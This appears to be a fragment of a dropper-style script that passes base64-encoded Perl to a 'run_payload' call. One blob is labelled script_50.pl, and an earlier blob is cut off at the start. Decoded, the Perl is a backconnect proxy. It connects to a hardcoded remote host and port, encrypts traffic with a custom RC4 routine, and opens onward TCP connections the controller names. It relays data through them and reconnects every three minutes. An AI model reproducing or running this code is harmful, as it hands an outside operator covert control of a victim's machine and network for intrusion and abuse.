ZXNwb25jZSwgMCwgMyksIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCSAKCQkJCQkJICRidWZmZXIgPSBwYWNrKCdDJywgJGkpLnBhY2soJ1MnLCBsZW5ndGgoJGRhdGEpKS4kZGF0YTsKCQkJCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgMywgbGVuZ3RoKCRkYXRhKSk7CgkJCQkgCgkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMSk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJIAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJICRjb3VudGVyKys7CgkJCQkgCgkJCQkgaWYgKCRjb3VudGVyID09IDEwICogNjApIHsKCQkJCQkgCgkJCQkJICRjb3VudGVyID0gMDsKCgkJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsKCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkgCgkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIE1TR19OT1NJR05BTCk7CgkJCQkgfQoJCQkJIAoJCQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJlbWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxhc3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAwICYmICRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkgCgkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJCQkJIAoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpID0gcGFjaygnQycsICRlYngpLiJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJCQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEpOwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRyZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJCQkgCgkJCQkJCSAkX3JldDAgPSAwOwoJCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJGVieCkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsKCQkJCQkJIAoJCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgNywgMSkpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4LCAxKSkpOwoJCQkKCQkJCQkJCSAkcG9ydDAgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDgsIDEpKSArIDEsIDEpLnN1YnN0cigkYnVmZmVyMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCwgMSkpICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2lmICh1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDcsIDEpKSA9PSAxKSB7CgkJCQoJCQkJCQkJICRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpKSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSkpLCB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDMsIDEpKSk7CgkJCQoJCQkJCQkJICRwb3J0MCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2UgewoJCQkKCQkJCQkJCSBnb3RvIGNsb3NlXzsKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCQkgZXZhbCB7CgkJCSAKCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCQkJCQkgY29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoJCSAKCQkJCQkJCSB2ZWMobXkgJHdpbiA9ICcnLCBmaWxlbm8oJHNvY2tldGFyclskZWJ4XSksIDEpID0gMTsKCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoJCQkKCQkJCQkJCSBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX1NFVEZMLCBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX0dFVEZMLCAwKSBeIE9fTk9OQkxPQ0spOwoJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCQkJCQkgJF9yZXQwID0gMTsKCQkJIAoJCQkJCQkgfTsKCQkgCgkJCQkJCSBjbG9zZV86CgkJCQkJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMywgMTApOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsKCQkJCQkJCSAKCQkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCSAKCQkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGVieCkuIlx4MDBceDAwIjsKCQkgCgkJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkJIAoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsKCQkJCQkJIAoJCQkJCQkgc2VuZCgkc29ja2V0YXJyWyRlYnhdLCBzdWJzdHIoJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSAKCQkJCQl9CgkJCQkJIAoJCQkJCSAkcmVtYWluaW5nID0gMDsKCQkJCX0KCQkJCQoJCQl9CgkJCSAKCQkJICRyZW1haW5pbmc0ID0gMDsKCQkJIAoJCX0KCQkKCQllbHNlIHsKCQkJCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gMCkgeyAkYnVmZmVyMCA9ICcnOyB9CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSAnJzsKCQkJIAoJCQkgcmVjdigkc29ja2V0YXJyWzBdLCAkZGF0YSwgJGVheCwgMCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSBsZW5ndGgoJGRhdGEpOwoJCQkgCgkJCSAkYnVmZmVyMCAuPSAkZGF0YTsKCQkJIAoJCQkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIpKTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7CgoJCSBpZiAoJHNvY2tldGFycmF5WyRpXSA9PSAxKSB7IGNsb3NlKCRzb2NrZXRhcnJbJGldKTsgfQoJCSAKCSB9CgkgCgkgaWYgKCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgkgCgkgc2xlZXAgMTgwOwp9"

# script_50.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBJTzo6U29ja2V0Owp1c2UgSU86OlNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7CnVzZSBGY250bCBxdyhGX0dFVEZMIEZfU0VURkwgT19OT05CTE9DSyk7CgpteSAkaG9zdCA9ICc2Mi42MC4xMzEuMTkyJzsKbXkgJHBvcnQgPSA0MDAxOwoKbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsKCmZvciAobXkgJGkgPSAwOyAkaSA8IDUwOyAkaSsrKSB7IHN1YnN0cigkeG9yZGF0YSwgJGksIDEpID0gcGFjaygnQycsIHJhbmQoMjU1KSk7IH0KCnN1YiBSYzRfY3J5cHQgewoJIAoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkbGVuZ3RoID0gc2hpZnQoQF8pOwoJIAoJIG15ICRidWZmMCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN6ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyYzQgPSAiXHgwMCIgeCAyNTY7CgkgCgkgbXkgJHBvY2tlbW9uMCA9IDA7CgkKCSBteSAkcG9ja2Vtb24xID0gMDsKCQoJIG15ICRwb2NrZW1vbjIgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMyA9IDA7CgkKCSBteSAkcG9ja2Vtb240ID0gMDsKCQoJIG15ICRwb2NrZW1vbjUgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNiA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2NrZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkgJHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSBteSAkdCA9IDA7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDw9IDI1NTsgJGkrKykgeyBzdWJzdHIoJHJjNCwgJGksIDEpID0gcGFjaygnQycsICRpKTsgfQoJIAoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpKSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkgJHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYgKCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkpOwoJCSAKCQkgJHQgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHBvY2tlbW9uMiwgMSkpOwoKCQkgJHBvY2tlbW9uMSArPSAkdDsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCSAkcG9ja2Vtb242ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb242KTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24yLCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJCSAkcG9ja2Vtb244ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9uOCk7CgkJIAoJCQkgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjcpOwoKCQkJICRwb2NrZW1vbjggKz0gJHBvY2tlbW9uNzsKCQoJCQkgJHBvY2tlbW9uOCA9ICRwb2NrZW1vbjggJiAyNTU7CgoJCQkgJHBvY2tlbW9uMCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb244LCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjUgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkpOwoKCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsKCQkJIAoJCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjUpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpID0gcGFjaygnQycsICh1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkpIF4gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRyYngsIDEpKSkpOwoJCSAKCQkgJHJzaSsrOwoJCQoJCSAkcmJ4Kys7CgkJCgkJICRyY3gtLTsKCQkKCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgewoJCQkgCgkJCSAkcmJ4ID0gMDsKCQl9CgkJIAoJfSB3aGlsZSgkcmN4ID4gMCk7CgkKfQoKc3ViIGJjY25jdCB7CgoJIG15ICRob3N0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRwb3J0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyZW1haW5pbmcgPSAwOwoJIAoJIG15ICRyZW1haW5pbmc0ID0gMDsKCSAKCSBteSAkZG9tYWluOwoJIAoJIG15ICRwb3J0MDsKCSAKCSBteSBAc29ja2V0YXJyOwoJIAoJIG15IEBzb2NrZXRhcnJheTsKCSAKCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOwoJIAoJIG15ICRidWZmZXJudWxsID0gIlx4MDAiIHggMzsKCSAKCSBteSAkYnVmZmVyMCA9ICcnOwoJIAoJIG15ICRpc0V4aXQgPSAwOwoJIAoJIG15ICRfcmV0MCA9IDA7CgkgCgkgbXkgJGVjeCA9IDA7CgkgCgkgbXkgJGVheCA9IDA7CgkgCgkgbXkgJGRhdGEgPSAnJzsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCSAKCSBteSAkcmVzcG9uY2UgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCSAKCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGluZXRfYXRvbigkJGhvc3QpKTsKCSAKCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9CgkgCgkgc3Vic3RyKCRidWZmZXIsIDAsIDUwKSA9ICR4b3JkYXRhOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1MCwgMikgPSAiXHhGRlx4RkYiOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsKCSAKCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7CgkgCgkgc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSAnJzsKCgkJCQkJIHJlY3YoJHNvY2tldGFyclskaV0sICRkYXRhLCA2NTUzMCwgMCk7CgkJCQkgCgkJCQkJIHVubGVzcyAoJGRhdGEpIHsKCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsKCQkJCQkgCgkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRpXSk7CgkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGkpLiJceDAwXHgwMCI7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgc3Vic3RyKCRyZXNwb25jZSwgMCwgMyksIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCSAKCQkJCQkJICRidWZmZXIgPSBwYWNrKCdDJywgJGkpLnBhY2soJ1MnLCBsZW5ndGgoJGRhdGEpKS4kZGF0YTsKCQkJCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgMywgbGVuZ3RoKCRkYXRhKSk7CgkJCQkgCgkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMSk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJIAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJICRjb3VudGVyKys7CgkJCQkgCgkJCQkgaWYgKCRjb3VudGVyID09IDEwICogNjApIHsKCQkJCQkgCgkJCQkJICRjb3VudGVyID0gMDsKCgkJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsKCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkgCgkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIE1TR19OT1NJR05BTCk7CgkJCQkgfQoJCQkJIAoJCQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJlbWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxhc3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAwICYmICRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkgCgkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJCQkJIAoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpID0gcGFjaygnQycsICRlYngpLiJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQkJfQoJ